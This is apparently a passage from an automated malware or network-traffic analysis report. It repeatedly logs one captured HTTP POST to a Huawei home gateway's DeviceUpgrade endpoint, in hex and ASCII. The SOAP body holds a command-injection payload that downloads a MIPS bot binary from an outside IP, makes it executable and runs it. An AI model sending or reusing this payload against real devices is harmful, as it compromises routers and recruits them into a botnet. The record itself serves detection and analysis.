62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 